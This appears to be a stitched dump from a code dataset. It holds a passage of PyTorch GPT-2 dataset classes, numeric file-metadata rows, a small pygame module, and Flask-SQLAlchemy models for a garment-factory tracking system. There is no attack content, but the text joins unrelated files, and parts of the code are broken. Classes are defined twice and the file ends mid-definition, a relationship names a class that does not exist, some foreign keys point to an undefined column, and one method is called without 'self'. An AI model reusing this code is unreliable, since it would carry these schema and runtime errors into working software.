ids_ = torch.cat([torch.LongTensor([self.pad] * (max_length - len(i))), i])
n_ids.append(ids_)
ids = torch.stack(n_ids)
mask = generate_mask(ids)
pos_ids = pad_sequence(pos_ids, batch_first=True, padding_value=self.pad)
pos_ids_mask = generate_mask(pos_ids)
neg_ids = pad_sequence(neg_ids, batch_first=True, padding_value=self.pad)
neg_ids_mask = generate_mask(neg_ids)
ids, mask, pos_ids, pos_ids_mask, neg_ids, neg_ids_mask = to_cuda(ids, mask, pos_ids, pos_ids_mask, neg_ids, neg_ids_mask)
return {
'ids': ids,
'mask': mask,
'pos_ids': pos_ids,
'pos_ids_mask': pos_ids_mask,
'neg_ids': neg_ids,
'neg_ids_mask': neg_ids_mask,
'pos_text': pos_text,
'text': text,
'neg_text': neg_text,
}
class GPT2UnlikelyhoodDataset(Dataset):
def __init__(self, vocab, path, **args):
self.args = args
self.vocab = vocab
self.pad = self.vocab.convert_tokens_to_ids('[PAD]')
self.sep = self.vocab.convert_tokens_to_ids('[SEP]')
self.cls = self.vocab.convert_tokens_to_ids('[CLS]')
self.unk = self.vocab.convert_tokens_to_ids('[UNK]')
random.seed(args['seed'])
if self.args['mode'] == 'test':
# for test batch generation
print(f'[!] set the padding side as the left')
self.vocab.padding_side = 'left'
suffix = args['tokenizer'].replace('/', '_')
self.pp_path = f'{os.path.splitext(path)[0]}_gpt2_unlikelyhood_{suffix}.pt'
if os.path.exists(self.pp_path):
self.data = torch.load(self.pp_path)
print(f'[!] load preprocessed file from {self.pp_path}')
return None
self.data = []
if self.args['mode'] == 'train':
data = read_text_data_unlikelyhood(path)
# for debug
data = random.sample(data, 1000)
self.data = []
for utterances in tqdm(data):
item = self.vocab.batch_encode_plus(utterances, add_special_tokens=False)['input_ids']
ids, cands, counter = [], [], 0
for utterance in item:
if counter + len(utterance) + 2 > self.args['train_min_len'] and len(cands) > 0:
ids = list(chain(*ids))
self.data.append({
'cids': ids,
'pos_rids': utterance,
'cands': cands,
})
ids, cands = [], []
else:
ids.append(utterance)
cands.append(utterance)
counter += len(utterance)
else:
path = f'{args["root_dir"]}/data/{args["dataset"]}/test_gray_simcse.pt'
data = torch.load(path)
# random sample 100 samples
data = random.sample(data, 10)
self.data = []
for item in tqdm(data):
context, pos, neg_responses = item['context'], item['pos_response'], item['neg_responses']
# prefix
item = self.vocab.encode(context, add_special_tokens=False)
ids = [self.cls] + item[-(self.args['max_len']-1):]
cids, rids = self.vocab.batch_encode_plus([context, pos], add_special_tokens=False)['input_ids']
self.truncate_pair(cids, rids, self.args['max_len'])
pos_ids = [self.cls] + cids + rids + [self.sep]
pos_label = [0] * (len(cids) + 1) + rids + [self.sep]
neg_ids_total, neg_ids_label_total, neg_text_total = [], [], []
for neg in neg_responses:
cids, rids = self.vocab.batch_encode_plus([context, neg], add_special_tokens=False)['input_ids']
self.truncate_pair(cids, rids, self.args['max_len'])
neg_ids = [self.cls] + cids + rids + [self.sep]
neg_label = [0] * (len(cids) + 1) + rids + [self.sep]
neg_ids_total.append(neg_ids)
neg_ids_label_total.append(neg_label)
neg_text_total.append(context+neg)
self.data.append({
'ids': ids,
'pos_ids': pos_ids,
'pos_label': pos_label,
'pos_text': context+pos,
'neg_ids': neg_ids_total,
'neg_label': neg_ids_label_total,
'neg_text': neg_text_total,
'text': context,
})
def __len__(self):
return len(self.data)
def truncate_pair(self, ids, rids, max_len):
max_len -= 2
while True:
l = len(ids) + len(rids)
if l <= max_len:
break
if len(ids) > len(rids):
ids.pop(0)
else:
rids.pop()
def __getitem__(self, i):
bundle = self.data[i]
if self.args['mode'] == 'train':
ids, pos_rids, cands = deepcopy(bundle['cids']), deepcopy(bundle['pos_rids']), deepcopy(bundle['cands'])
cand = random.choice(cands)
neg_ids = deepcopy(ids)
truncate_pair(ids, pos_rids, self.args['train_max_len'])
gpt2_ids = [self.cls] + ids + pos_rids + [self.sep]
bert_label = [0] * (len(ids) + 1) + pos_rids + [self.sep]
truncate_pair(neg_ids, cand, self.args['train_max_len'])
neg_gpt2_ids = [self.cls] + neg_ids + cand + [self.sep]
neg_bert_label = [0] * (len(neg_ids) + 1) + cand + [self.sep]
return gpt2_ids, bert_label, neg_gpt2_ids, neg_bert_label
else:
ids = torch.LongTensor(bundle['ids'])
pos_ids = torch.LongTensor(bundle['pos_ids'])
neg_ids = [torch.LongTensor(i) for i in bundle['neg_ids']]
pos_label = torch.LongTensor(bundle['pos_label'])
neg_label = [torch.LongTensor(i) for i in bundle['neg_label']]
return ids, pos_ids, neg_ids, bundle['pos_text'], bundle['neg_text'], bundle['text'], pos_label, neg_label
def save(self):
data = torch.save(self.data, self.pp_path)
print(f'[!] save preprocessed dataset into {self.pp_path}')
def collate(self, batch):
if self.args['mode'] == 'train':
gpt2_ids, bert_label, neg_gpt2_ids, neg_bert_label = [], [], [], []
for a, b, c, d in batch:
gpt2_ids.append(torch.LongTensor(a))
bert_label.append(torch.LongTensor(b))
neg_gpt2_ids.append(torch.LongTensor(c))
neg_bert_label.append(torch.LongTensor(d))
gpt2_ids = pad_sequence(gpt2_ids, batch_first=True, padding_value=self.pad)
neg_gpt2_ids = pad_sequence(neg_gpt2_ids, batch_first=True, padding_value=self.pad)
bert_label = pad_sequence(bert_label, batch_first=True, padding_value=self.pad)
neg_bert_label = pad_sequence(neg_bert_label, batch_first=True, padding_value=self.pad)
gpt2_mask = generate_mask(gpt2_ids)
neg_gpt2_mask = generate_mask(neg_gpt2_ids)
gpt2_ids, gpt2_mask, bert_label = to_cuda(gpt2_ids, gpt2_mask, bert_label)
neg_gpt2_ids, neg_gpt2_mask, neg_bert_label = to_cuda(neg_gpt2_ids, neg_gpt2_mask, neg_bert_label)
return {
'gpt2_ids': gpt2_ids,
'gpt2_mask': gpt2_mask,
'bert_label': bert_label,
'neg_gpt2_ids': neg_gpt2_ids,
'neg_gpt2_mask': neg_gpt2_mask,
'neg_bert_label': neg_bert_label,
}
else:
neg_ids_, neg_text_, neg_ids_mask_, neg_label_ = [], [], [], []
for i in range(10):
neg_ids = [j[2][i] for j in batch]
neg_text = [j[4][i] for j in batch]
neg_label = [j[7][i] for j in batch]
neg_ids = pad_sequence(neg_ids, batch_first=True, padding_value=self.pad)
neg_label = pad_sequence(neg_label, batch_first=True, padding_value=self.pad)
neg_ids_mask = generate_mask(neg_ids)
neg_ids, neg_ids_mask, neg_label = to_cuda(neg_ids, neg_ids_mask, neg_label)
neg_ids_.append(neg_ids)
neg_ids_mask_.append(neg_ids_mask)
neg_label_.append(neg_label)
neg_text_.append(neg_text)
ids = [i[0] for i in batch]
pos_ids = [i[1] for i in batch]
pos_text = [i[3] for i in batch]
text = [i[5] for i in batch]
pos_label = [i[6] for i in batch]
# pad from the left side, batch first
max_length = max([len(i) for i in ids])
n_ids = []
for i in ids:
ids_ = torch.cat([torch.LongTensor([self.pad] * (max_length - len(i))), i])
n_ids.append(ids_)
ids = torch.stack(n_ids)
mask = generate_mask(ids)
pos_ids = pad_sequence(pos_ids, batch_first=True, padding_value=self.pad)
pos_label = pad_sequence(pos_label, batch_first=True, padding_value=self.pad)
pos_ids_mask = generate_mask(pos_ids)
ids, mask, pos_ids, pos_ids_mask, pos_label = to_cuda(ids, mask, pos_ids, pos_ids_mask, pos_label)
return {
'ids': ids,
'mask': mask,
'pos_ids': pos_ids,
'pos_label': pos_label,
'pos_ids_mask': pos_ids_mask,
'neg_ids': neg_ids_,
'neg_label': neg_label_,
'neg_ids_mask': neg_ids_mask_,
'pos_text': pos_text,
'text': text,
'neg_text': neg_text_,
}
class GPT2WithNegDataset(Dataset):
def __init__(self, vocab, path, **args):
self.args = args
self.vocab = vocab
self.pad = self.vocab.convert_tokens_to_ids('[PAD]')
self.sep = self.vocab.convert_tokens_to_ids('[SEP]')
self.cls = self.vocab.convert_tokens_to_ids('[CLS]')
self.unk = self.vocab.convert_tokens_to_ids('[UNK]')
if self.args['mode'] == 'test':
# for test batch generation
print(f'[!] set the padding side as the left')
self.vocab.padding_side = 'left'
suffix = args['tokenizer'].replace('/', '_')
self.pp_path = f'{os.path.splitext(path)[0]}_gpt2_with_neg_{suffix}.pt'
if os.path.exists(self.pp_path):
self.data = torch.load(self.pp_path)
print(f'[!] load preprocessed file from {self.pp_path}')
return None
random.seed(args['seed'])
self.data = []
if self.args['mode'] == 'train':
data = read_text_data_line_by_line(path)
self.data = []
for text in tqdm(data):
item = self.vocab.encode(text, add_special_tokens=False)
for idx in range(0, len(item), self.args['max_len']-2):
ids = item[idx:idx+self.args['max_len']-2]
if len(ids) < self.args['min_len']:
continue
ids = [self.cls] + ids + [self.sep]
self.data.append({'ids': ids})
else:
path = f'{args["root_dir"]}/data/{args["dataset"]}/test_gray_simcse.pt'
data = torch.load(path)
# random sample 100 samples
data = random.sample(data, 10)
self.data = []
for item in tqdm(data):
context, pos, neg_responses = item['context'], item['pos_response'], item['neg_responses']
for neg in neg_responses:
# prefix
item = self.vocab.encode(context, add_special_tokens=False)
ids = [self.cls] + item[-(self.args['max_len']-1):]
item = self.vocab.encode(context+pos, add_special_tokens=False)
pos_ids = [self.cls] + item[:self.args['max_len']-2] + [self.sep]
item = self.vocab.encode(context+neg, add_special_tokens=False)
neg_ids = [self.cls] + item[:self.args['max_len']-2] + [self.sep]
self.data.append({
'ids': ids,
'pos_ids': pos_ids,
'pos_text': context+pos,
'neg_ids': neg_ids,
'neg_text': context+neg,
'text': context,
})
def __len__(self):
return len(self.data)
def __getitem__(self, i):
bundle = self.data[i]
if self.args['mode'] == 'train':
ids = torch.LongTensor(bundle['ids'])
return ids
else:
ids = torch.LongTensor(bundle['ids'])
pos_ids = torch.LongTensor(bundle['pos_ids'])
neg_ids = torch.LongTensor(bundle['neg_ids'])
return ids, pos_ids, neg_ids, bundle['pos_text'], bundle['neg_text'], bundle['text']
def save(self):
data = torch.save(self.data, self.pp_path)
print(f'[!] save preprocessed dataset into {self.pp_path}')
def collate(self, batch):
if self.args['mode'] == 'train':
ids = pad_sequence(batch, batch_first=True, padding_value=self.pad)
mask = generate_mask(ids)
ids, mask = to_cuda(ids, mask)
return {
'ids': ids,
'mask': mask,
}
else:
ids = [i[0] for i in batch]
pos_ids = [i[1] for i in batch]
neg_ids = [i[2] for i in batch]
pos_text = [i[3] for i in batch]
neg_text = [i[4] for i in batch]
text = [i[5] for i in batch]
# pad from the left side, batch first
max_length = max([len(i) for i in ids])
n_ids = []
for i in ids:
ids_ = torch.cat([torch.LongTensor([self.pad] * (max_length - len(i))), i])
n_ids.append(ids_)
ids = torch.stack(n_ids)
mask = generate_mask(ids)
pos_ids = pad_sequence(pos_ids, batch_first=True, padding_value=self.pad)
pos_ids_mask = generate_mask(pos_ids)
neg_ids = pad_sequence(neg_ids, batch_first=True, padding_value=self.pad)
neg_ids_mask = generate_mask(neg_ids)
ids, mask, pos_ids, pos_ids_mask, neg_ids, neg_ids_mask = to_cuda(ids, mask, pos_ids, pos_ids_mask, neg_ids, neg_ids_mask)
return {
'ids': ids,
'mask': mask,
'pos_ids': pos_ids,
'pos_ids_mask': pos_ids_mask,
'neg_ids': neg_ids,
'neg_ids_mask': neg_ids_mask,
'pos_text': pos_text,
'text': text,
'neg_text': neg_text,
}
| 43.683036
| 134
| 0.51906
| 2,417
| 19,570
| 3.945387
| 0.061647
| 0.045931
| 0.024539
| 0.021393
| 0.863255
| 0.828859
| 0.80432
| 0.790583
| 0.774224
| 0.736787
| 0
| 0.008597
| 0.358099
| 19,570
| 447
| 135
| 43.780761
| 0.750517
| 0.015023
| 0
| 0.731959
| 0
| 0
| 0.094279
| 0.017496
| 0
| 0
| 0
| 0
| 0
| 1
| 0.041237
| false
| 0
| 0.007732
| 0.007732
| 0.103093
| 0.023196
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
25ea1ae2ce7070f6a26c9ecacf9c8649b12203b5
| 104
|
py
|
Python
|
pygvisuals/__experimental/layout_manager.py
|
Impelon/PyGVisuals
|
7bff6199391ba35ad7f7afb1adc2601f57215856
|
[
"BSD-2-Clause"
] | 11
|
2018-02-25T20:32:13.000Z
|
2022-03-29T16:43:05.000Z
|
pygvisuals/__experimental/layout_manager.py
|
Impelon/PyGVisuals
|
7bff6199391ba35ad7f7afb1adc2601f57215856
|
[
"BSD-2-Clause"
] | 13
|
2017-09-11T16:21:54.000Z
|
2020-05-06T09:57:17.000Z
|
pygvisuals/__experimental/layout_manager.py
|
Impelon/PyGVisuals
|
7bff6199391ba35ad7f7afb1adc2601f57215856
|
[
"BSD-2-Clause"
] | 7
|
2018-05-17T10:33:31.000Z
|
2020-04-16T23:35:36.000Z
|
import pygame.sprite
class LayoutManager(pygame.sprite.LayeredDirty):
"""
.
"""
pass
| 10.4
| 48
| 0.615385
| 9
| 104
| 7.111111
| 0.777778
| 0.375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.259615
| 104
| 9
| 49
| 11.555556
| 0.831169
| 0.009615
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
d3811d5dac593b0dad01c056ca584469be638dd8
| 39,877
|
py
|
Python
|
DataEngineering/flaskapp/models/machine.py
|
SyedArsalanAmin/datascience-projects
|
46abaa00b4491683e20c1716e562772f345dced2
|
[
"MIT"
] | null | null | null |
DataEngineering/flaskapp/models/machine.py
|
SyedArsalanAmin/datascience-projects
|
46abaa00b4491683e20c1716e562772f345dced2
|
[
"MIT"
] | null | null | null |
DataEngineering/flaskapp/models/machine.py
|
SyedArsalanAmin/datascience-projects
|
46abaa00b4491683e20c1716e562772f345dced2
|
[
"MIT"
] | null | null | null |
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import Integer, String
from sqlalchemy.types import DateTime, Integer, String, DateTime, JSON, Float,Boolean,BIGINT
# from pangres import upsert
from sqlalchemy.orm import relationship
from app import db
class Line(db.Model):
__tablename__ = 'line'
LineID = db.Column(Integer, primary_key=True, autoincrement=False)
LineCode = db.Column(String(64))
LineDescription = db.Column(String(64))
CreatedAt = db.Column(DateTime)
UpdatedAt = db.Column(DateTime)
class Machine(db.Model):
__tablename__ = 'machine'
MachineID = db.Column(Integer, primary_key=True, autoincrement=False)
MachineCode = db.Column(String(64))
MachineDescription = db.Column( String(64))
MachineImageUrl = db.Column( String(2056))
MachineThumbnailUrl = db.Column( String(2056))
MachineTypeID = db.Column( Integer,db.ForeignKey("machine_type.MachineTypeID"))
ActiveWorkerID =db.Column( Integer, db.ForeignKey("worker.WorkerID"))
LineID = db.Column( Integer,db.ForeignKey("line.LineID"))
Operations =db.Column(JSON)
CreatedAt=db.Column(DateTime)
UpdatedAt =db.Column(DateTime)
BoxID=db.Column(Integer)
#db.ColumnS ADDED LATER
IsMachineDown=db.Column(Boolean)
LineCode =db.Column( String(64))
LineDescription =db.Column( String(64))
WorkerID=db.Column(Integer)
WorkerCode=db.Column(String(64))
WorkerDescription=db.Column( String(64))
WorkerImageUrl=db.Column(String(2056))
WorkerThumbnailUrl=db.Column(String(2056))
AllocatedMachines=db.Column(JSON)
MachineTypeCode =db.Column(String(64))
MachineTypeDescription=db.Column( String(64))
Allowance=db.Column( Float)
line = relationship("Line")
machine_type = relationship("MachineType")
worker = relationship("Worker")
class MachineType(db.Model):
__tablename__ = 'machine_type'
MachineTypeID=db.Column(Integer, primary_key = True, autoincrement=False)
MachineTypeCode=db.Column(String(64))
MachineTypeDescription=db.Column(String(64))
Allowance=db.Column(Float)
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
class Worker(db.Model):
__tablename__ = 'worker'
WorkerID=db.Column(Integer, primary_key = True, autoincrement=False)
WorkerCode=db.Column(String(64))
WorkerDescription=db.Column(String(64))
WorkerImageUrl=db.Column(String(2056))
WorkerThumbnailUrl=db.Column(String(2056))
AllocatedMachines=db.Column(JSON)
CreatedAt=db.Column( DateTime)
UpdatedAt=db.Column(DateTime)
# db.Model.metadata.create_all(engine_postgres)
class WorkerScan(db.Model):
__tablename__ = 'worker_scan'
# additional arguments to be supplied to the Table constructor should be provided using the __table_args__ declarative class attribute.
__table_args__ = {'extend_existing': True}
WorkerScanID=db.Column(BIGINT, primary_key = True, autoincrement=False)
WorkerID =db.Column(Integer, db.ForeignKey("worker.WorkerID"))
LineID=db.Column(Integer,db.ForeignKey("line.LineID"))
MachineID=db.Column(Integer,db.ForeignKey("machine.MachineID"))
WorkerOperations=db.Column(JSON)
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
HasExpired=db.Column(Integer)
EndedAt=db.Column(DateTime)
LineCode=db.Column(String(64))
LineDescription=db.Column(String(64))
WorkerCode=db.Column(String(64))
WorkerDescription=db.Column(String(64))
WorkerImageUrl=db.Column(String(2056))
WorkerThumbnailUrl=db.Column(String(2056))
AllocatedMachines=db.Column(JSON)
MachineCode=db.Column(String(64))
MachineDescription=db.Column(String(64))
MachineImageUrl=db.Column(String(2056))
MachineThumbnailUrl=db.Column(String(2056))
MachineTypeID=db.Column(Integer, db.ForeignKey("machine_type.MachineTypeID"))
ActiveWorkerID=db.Column(Integer)
Operations=db.Column(JSON)
BoxID=db.Column(Integer)
#db.Column ADDED LATER
IsMachineDown=db.Column(Boolean)
MachineTypeCode=db.Column(String(64))
MachineTypeDescription=db.Column(String(64))
Allowance=db.Column(Float)
line = relationship("Line")
machine = relationship("Machine")
worker = relationship("Worker")
machine_type = relationship("MachineType")
class ProductionOrder(db.Model):
__tablename__ = 'production_order'
__table_args__ = {'extend_existing': True}
ProductionOrderID=db.Column(Integer, primary_key = True, autoincrement=False)
ProductionOrderCode=db.Column(String(64))
SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID"))
StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID"))
IsFollowOperationSequence=db.Column(Boolean)
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
SaleOrderCode=db.Column(String(100))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
StyleTemplateCode=db.Column(String(64))
sale_order = relationship("SaleOrder")
style_template = relationship("StyleTemplate")
class SaleOrder(db.Model):
__tablename__ = 'sale_order'
__table_args__ = {'extend_existing': True}
SaleOrderID=db.Column(Integer, primary_key = True, autoincrement=False)
SaleOrderCode=db.Column(String(100))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
class StyleTemplate(db.Model):
__tablename__ = 'style_template'
__table_args__ = {'extend_existing': True}
StyleTemplateID=db.Column(Integer, primary_key = True, autoincrement=False)
StyleTemplateCode=db.Column(String(64))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
# db.Model.metadata.create_all(engine_postgres)
class Marker(db.Model):
__tablename__ = 'marker'
__table_args__ = {'extend_existing': True}
MarkerID=db.Column(Integer, primary_key = True, autoincrement=False)
MarkerCode=db.Column(String(64))
ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID"))
MarkerMapping=db.Column(JSON)
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
ProductionOrderCode=db.Column(String(64))
SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID"))
StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID"))
IsFollowOperationSequence=db.Column(Boolean)
SaleOrderCode=db.Column(String(100))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
StyleTemplateCode=db.Column(String(64))
# Size=db.Column(Integer)
# Inseam=db.Column(Integer)
# Ratio=db.Column(Integer)
production_order = relationship("ProductionOrder")
sale_order = relationship("SaleOrder")
style_template = relationship("StyleTemplate")
class CutJob(db.Model):
__tablename__ = 'cut_job'
__table_args__ = {'extend_existing': True}
CutJobID=db.Column(Integer, primary_key = True, autoincrement=False)
CutNo=db.Column(Integer)
ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID"))
CutQuantity=db.Column(Integer)
MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID"))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
ProductionOrderCode=db.Column(String(64))
SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID"))
StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID"))
IsFollowOperationSequence=db.Column(Boolean)
SaleOrderCode=db.Column(String(100))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
StyleTemplateCode=db.Column(String(64))
MarkerCode=db.Column(String(64))
MarkerMapping=db.Column(JSON)
production_order = relationship("ProductionOrder")
sale_order = relationship("SaleOrder")
style_template = relationship("StyleTemplate")
marker = relationship("Marker")
class CutReport(db.Model):
__tablename__ = 'cut_report'
__table_args__ = {'extend_existing': True}
BundleCode=db.Column(String(64))
BundleQuantity=db.Column(Integer)
ScannedQuantity=db.Column(Integer)
RemainingQuantity=db.Column(Integer)
CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID"))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
CutNo=db.Column(Integer)
ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID"))
CutQuantity=db.Column(Integer)
MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID"))
ProductionOrderCode=db.Column(String(64))
SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID"))
StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID"))
IsFollowOperationSequence=db.Column(Boolean)
SaleOrderCode=db.Column(String(100))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
StyleTemplateCode=db.Column(String(64))
MarkerCode=db.Column(String(64))
MarkerMapping=db.Column(JSON)
cut_job = relationship("CutJob")
production_order = relationship("ProductionOrder")
sale_order = relationship("SaleOrder")
style_template = relationship("StyleTemplate")
marker = relationship("Marker")
class Operation(db.Model):
__tablename__ = 'operation'
__table_args__ = {'extend_existing': True}
OperationID=db.Column(Integer, primary_key = True, autoincrement=False)
OperationCode=db.Column(String(64))
OperationName =db.Column(String(64))
OperationDescription = db.Column(String(64))
Department = db.Column(String(64))
PieceRate=db.Column(Integer)
OperationType=db.Column(String(64))
OperationImageUrl=db.Column(String(2056))
OperationThumbnailUrl=db.Column(String(2056))
SectionID = db.Column(Integer, db.ForeignKey("section.SectionID"))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
SectionCode=db.Column(String(64))
SectionDescription=db.Column(String(64))
section = relationship("Section")
class Section(db.Model):
__tablename__ = 'section'
__table_args__ = {'extend_existing': True}
SectionID=db.Column(Integer, primary_key = True, autoincrement=False)
SectionCode=db.Column(String(64))
SectionDescription=db.Column(String(64))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
class PieceWiseCutReport(db.Model):
__tablename__ = 'piece_wise_cut_report'
__table_args__ = {'extend_existing': True}
PieceID=db.Column(Integer, primary_key = True, autoincrement=False)
BundleID=db.Column(Integer, db.ForeignKey("cut_report.BundleID"))
PieceNumber=db.Column(Integer)
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
BundleCode=db.Column(String(64))
BundleQuantity=db.Column(Integer)
ScannedQuantity=db.Column(Integer)
RemainingQuantity=db.Column(Integer)
CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID"))
CutNo=db.Column(Integer)
ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID"))
CutQuantity=db.Column(Integer)
MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID"))
ProductionOrderCode=db.Column(String(64))
SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID"))
StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID"))
IsFollowOperationSequence=db.Column(Boolean)
SaleOrderCode=db.Column(String(100))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
StyleTemplateCode=db.Column(String(64))
MarkerCode=db.Column(String(64))
MarkerMapping=db.Column(JSON)
production_order = relationship("ProductionOrder")
sale_order = relationship("SaleOrder")
style_template = relationship("StyleTemplate")
marker = relationship("Marker")
cut_report = relationship("CutReport")
cut_job = relationship("CutJob")
class Scan(db.Model):
__tablename__ = 'scan'
__table_args__ = {'extend_existing': True}
ScanID=db.Column(BIGINT, primary_key = True, autoincrement=False)
ShortAddress=db.Column(String(64))
LongAddress=db.Column(String(64))
HostIP=db.Column(String(64))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
LineID=db.Column(Integer,db.ForeignKey("line.LineID"))
LineCode=db.Column(String(64))
LineDescription=db.Column(String(64))
WorkerID =db.Column(Integer, db.ForeignKey("worker.WorkerID"))
WorkerCode=db.Column(String(64))
WorkerDescription=db.Column(String(64))
WorkerImageUrl=db.Column(String(2056))
WorkerThumbnailUrl=db.Column(String(2056))
AllocatedMachines=db.Column(JSON)
BundleID=db.Column(Integer, db.ForeignKey("cut_report.BundleID"))
BundleCode=db.Column(String(64))
BundleQuantity=db.Column(Integer)
ScannedQuantity=db.Column(Integer)
RemainingQuantity=db.Column(Integer)
CutJobID=db.Column(Integer, db.ForeignKey("cut_job.CutJobID"))
CutNo=db.Column(Integer)
ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID"))
CutQuantity=db.Column(Integer)
MarkerID=db.Column(Integer, db.ForeignKey("marker.MarkerID"))
ProductionOrderCode=db.Column(String(64))
SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID"))
StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID"))
IsFollowOperationSequence=db.Column(Boolean)
SaleOrderCode=db.Column(String(100))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
StyleTemplateCode=db.Column(String(64))
MarkerCode=db.Column(String(64))
MarkerMapping=db.Column(JSON)
MachineID=db.Column(Integer,db.ForeignKey("machine.MachineID"))
MachineCode=db.Column(String(64))
MachineDescription=db.Column(String(64))
MachineImageUrl=db.Column(String(2056))
MachineThumbnailUrl=db.Column(String(2056))
MachineTypeID=db.Column(Integer)
ActiveWorkerID=db.Column(Integer)
Operations=db.Column(JSON)
BoxID=db.Column(Integer)
MachineTypeCode=db.Column(String(64))
MachineTypeDescription=db.Column(String(64))
Allowance=db.Column(Float)
OperationID=db.Column(Integer,db.ForeignKey("operation.OperationID"))
OperationCode=db.Column(String(64))
OperationName=db.Column(String(64))
OperationDescription=db.Column(String(64))
Department=db.Column(String(64))
PieceRate=db.Column(Integer)
OperationType=db.Column(String(64))
OperationImageUrl=db.Column(String(2056))
OperationThumbnailUrl=db.Column(String(2056))
SectionID=db.Column(Integer, db.ForeignKey("section.SectionID"))
SectionCode=db.Column(String(64))
SectionDescription=db.Column(String(64))
PieceID=db.Column(Integer)
PieceNumber=db.Column(Integer)
WorkerScanID=db.Column(BIGINT, db.ForeignKey("worker_scan.WorkerScanID"))
WorkerOperations=db.Column(JSON)
HasExpired=db.Column(Integer)
EndedAt=db.Column(DateTime)
section = relationship("Section")
operation = relationship("Operation")
production_order = relationship("ProductionOrder")
sale_order = relationship("SaleOrder")
style_template = relationship("StyleTemplate")
marker = relationship("Marker")
cut_report = relationship("CutReport")
cut_job = relationship("Cutjob")
machine = relationship("Machine")
line = relationship("Line")
worker = relationship("Worker")
worker_scan = relationship("WorkerScan")
class StyleTemplate(db.Model):
__tablename__ = 'style_template'
__table_args__ = {'extend_existing': True}
StyleTemplateID=db.Column(Integer, primary_key = True, autoincrement=False)
StyleTemplateCode=db.Column(String(64))
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
# db.Model.metadata.create_all(engine_postgres)
class Marker(db.Model):
__tablename__ = 'marker'
__table_args__ = {'extend_existing': True}
MarkerID=db.Column(Integer, primary_key = True, autoincrement=False)
MarkerCode=db.Column(String(64))
ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID"))
MarkerMapping=db.Column(JSON)
CreatedAt=db.Column(DateTime)
UpdatedAt=db.Column(DateTime)
ProductionOrderCode=db.Column(String(64))
SaleOrderID=db.Column(Integer, db.ForeignKey("sale_order.SaleOrderID"))
StyleTemplateID=db.Column(Integer, db.ForeignKey("style_template.StyleTemplateID"))
IsFollowOperationSequence=db.Column(Boolean)
SaleOrderCode=db.Column(String(100))
Customer=db.Column(String(64))
OrderQuantity=db.Column(Integer)
StyleTemplateCode=db.Column(String(64))
# Size=db.Column(Integer)
# Inseam=db.Column(Integer)
# Ratio=db.Column(Integer)
production_order = relationship("ProductionOrder")
sale_order = relationship("SaleOrder")
style_template = relationship("StyleTemplate")
class CutJob(db.Model):
__tablename__ = 'cut_job'
__table_args__ = {'extend_existing': True}
CutJobID=db.Column(Integer, primary_key = True, autoincrement=False)
CutNo=db.Column(Integer)
ProductionOrderID=db.Column(Integer, db.ForeignKey("production_order.ProductionOrderID"))
CutQuantity=db.Column(Integer)
